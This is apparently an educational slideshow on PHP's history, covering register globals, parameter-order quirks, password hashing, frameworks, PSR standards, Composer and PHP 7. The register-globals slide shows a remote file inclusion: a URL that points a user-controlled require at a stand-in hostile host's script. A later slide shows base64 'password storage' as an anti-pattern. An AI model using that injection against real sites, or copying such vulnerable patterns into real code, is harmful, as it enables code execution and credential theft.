A Quick Note on Navigation

This slideshow supports swipes and arrow keys.

On slides where "Down" is an option, the lower-right navigation tool will show a down arrow.

If you prefer, you can use the spacebar to view all slides in order.

A History of PHP

Origins

PHP started many years ago as a way to add some flexibility to HTML files.

It grew in fits and starts into a fully-fledged programming language.

This evolution of the language was uniquely centered around HTML and the World Wide Web.

However, as with actual evolution, things got messy.

The most common criticisms of PHP over the years have been the seemingly-unending security problems ... and the random "needle"/"haystack" parameter order.

Another valid concern that arose from messy evolution is that PHP lacked a representation of Requests and Responses.

For PHP, each execution of the script is a Request - and the script's output is the Response.

This has led to some sloppy practices on the part of developers.

Languages that were introduced to web development later on were able to intentionally abstract the Request/Response concept.

Not only because they had more time to learn patterns that make it easier to work with the Web, but also because they were designed to be long-running and handle multiple requests.

Into the Badlands

Register Globals

What was so bad about early PHP, you wonder?

One of the most egregious issues was known as Register Globals.

This was a setting that allowed raw, unfiltered query parameters to exist as variables within the scope of the script.

It was very convenient, which made it popular at first.

(Which, really, is PHP in a nutshell)


        // URL being requested:
        // http://example.com/index.php?name=Watson

        // Entire contents of index.php:
        <html><body>Hello, <?php echo $name; ?></body></html>
    

Unfortunately, it was a huge cause of security issues.

(Which, really, is PHP in a nutshell)


        // index.php:
        <?php
        require "$theme/header.php";
        ?>
        <h1>Welcome, <?php echo $name; ?>!</h1>

        // URL being requested:
        // http://example.com/index.php?name=Watson
        //     &theme=http%3A%2F%2Fhostile.example.com%2Fhostile.js%3F
    

RIP Register Globals

1995-2002


Well, at least it no longer defaulted to "on".

RIP Register Globals

1995-2012


For Real.

Needles and Haystacks

PHP seems to have some disagreement between whether the "Needle" or the "Haystack" should come first in function parameters.

For some reason this has made certain people seriously upset with the language.

strpos($haystack, $needle)

strstr($haystack, $needle)

implode($glue, $pieces)

And yet ...

in_array($needle, $haystack)

array_search($needle, $haystack)

array_key_exists($key, $array)

implode($pieces, $glue)

implode($glue, $pieces)

implode($pieces, $glue)


... for "historical reasons".

explode($delimiter, $string)

explode($string, $delimiter)


... because "**** you", that's why.

(Actually, it's for practical reasons: the parameter signatures can't be differentiated.)

Weird Objects

In some early versions of PHP, objects were implicitly cloned when a developer might reasonably expect it to be copied by reference.

This meant that, on occasion, developers would have to force copy-by-reference with `$var =& $obj;`.

PHP resolved the ambiguity from version 4 and onward.

Bad Password Handling

Passwords must be handled with care. But PHP developers often didn't know the best way to do this.

Some of the most attrocious password storage mechanisms were "invented" by PHP developers who rolled their own solutions without having any help or even knowing there was a problem.

Don't:

        $password = base64_encode($password);
        

PHP 5.5 to the Rescue!

Do:

        $hash = password_hash(
            $password,
            PASSWORD_BCRYPT,
            ['cost' => 12]
        );
        

Also, thanks to Anthony Ferrara (ircmaxell) - his password_compat polyfill enabled this as far back as PHP 5.3.8 - a true service to the community!

Non-Standard Request Processing

Exposing request values via special "Super-Global" variables led to some issues that could have been solved by a core Request/Response abstraction.

It is a constant source of Spooky Action at a Distance and other side effects.

Enter: The Frameworks

Dawn of the Frameworks

It was a primordial time, but there was light at the end of the tunnel.

Seeing the lack of useful abstractions in PHP development, the community rallied and created Frameworks.

So. Many. Frameworks.

Cake, CodeIgniter, Drupal, eZ, Fuel, Joomla, Laravel, Lumen, Midgard, Moodle, Nette, Phalcon, SilverStripe, Slim, Symfony, TYPO3, Yii, WordPress, Zend

They really did help make it more tolerable to program with PHP.

But there was pushback to the idea of frameworks foisting rigid constraints on applications.

And the competition between frameworks pushed developers to specialize instead of collaborate.

Each framework had their own way of doing:

  • Requests
  • Responses
  • Form Processing
  • Authentication
  • Caching
  • Logging
  • ... and everything else.

In short, the PHP landscape had turned into a gigantic factory for re-inventing wheels.

Interoperability

PEAR

PEAR provided the first collection of reusable libraries for PHP projects.

It was designed for a more primeval time, and a completely different web development landscape than exists today.

PHP FIG

The Framework Interoperability Group is a group of PHP frameworks whose representatives consciously find ways to help frameworks work together.

Their goal is to make it nearly unnecessary to re-invent wheels, and also to make it easier to use re-invented wheels when it is truly necessary.

When the FIG ratifies a PHP Standard Recommendation (PSR), this carries a lot of weight in the framework community.

The first standard, PSR-0, helped revolutionize application development in PHP and made it possible for Composer to replace PEAR.

Subsequent PSRs included:

  • PSR-1: Basic Coding Standard
  • PSR-2: Coding Style Guide
  • PSR-3: Logger Interface
  • PSR-4: New Autoloader Standard
  • PSR-6: Caching Interface
  • PSR-7: HTTP Message Interface

And also:

  • PSR-11: Container Interface
  • PSR-13: Hypermedia Links
  • PSR-15: HTTP Handlers
  • PSR-16: Simple Cache

Allowing code to operate on common interfaces enables frameworks and libraries to build solid foundations that can be relied upon across PHP projects.

Composer and Packagist

Composer

Composer came onto the PHP scene in 2011, and took the community by storm.

Finally, PHP projects had an easy way to track their dependencies and quickly fetch and integrate new libraries with a single command.

Say you wanted to access Amazon AWS APIs:

composer require aws/aws-sdk-php

And then it's ready for you to configure and use in your application.

Packagist

Packagist is the de facto package repository for PHP and Composer.

If it's not on packagist, you can still install it using composer, but the steps are a bit harder.

The Right Way

PHP The Right Way is a comprehensive community effort to document modern PHP practices.

If your only experience with PHP was a janky mess built in PHP 3, definitely check out PHP The Right Way to see how the PHP world has changed.

PHP 7

PHP 7

The new language features in PHP 7 are fantastic, but one of the great things about version 7 has been the massive push to get the whole Internet upgraded.

Let PHP 5 die. Kill it, if you have to.

We want to avoid a situation where two separate versions of the language are being actively used, as has happened with Python 2/3 and Perl 5/6.

There is one direction for PHP, and it is Forward.

RIP EXT-MySQL

Ding, Dong, the MySQL extension is gone!

Noted for basically encouraging developers to create massive SQL Injection vulnerabilities instead of applications, this extension has now gone the way of the Dodo.

Its successor, PDO, encourages safer database usage with prepared statements and parameter binding.

Object Oriented

Most modern PHP code is object-oriented.

Proven concepts like SOLID and unit testing are employed to ensure quality software engineering practices are being followed.

Functional

Modern PHP also supports Functional Programming concepts.

Ideas like Map/Reduce have been supported for a while, but callable anonymous functions and anonymous classes are making it even easier to apply the functional programming approach to PHP projects.

Fast

PHP 7 is fast.

Many companies have been posting about big speed improvements under PHP 7.

This will also continue to improve on a framework level, as profiling technologies like Blackfire and Tideways make it into everyday development practices.

Type Safe (ish)

PHP 5's type "hints" have been upgraded to Type Declarations.

Type safety will help developers write safer and more reliable code in PHP.

PHP 7 supports type declarations for both Objects and Scalars. These declarations can be used for method parameters, and for return types.

Testable

PHP has plenty of tools for automated testing and code analysis, to ensure your code is safe and well-engineered.

PHPUnit, Codeception, PHPSpec, PHPStan, Infection, and more.

Debuggable

XDebug is the primary way to do breakpoint debugging and code coverage analysis in PHP.

PHP 7 also introduces a new "Error" class of Exception, which allows you to capture all kinds of errors that previously would've resulted in the process ending.

Ideas Welcome

Have you spotted an error, or an area that would benefit from improvement?

Do you have juicy examples of PHP horror-story code that has been completely cleaned up after applying modern PHP practices?

File an issue or PR on the BeautifulPHP GitHub Repository!

About the Author

BeautifulPHP is the creation of Kevin Boyd (aka "Beryllium"), a PHP developer for over 15 years.

Spread the word!

Tell the world about BeautifulPHP

Fork me on GitHub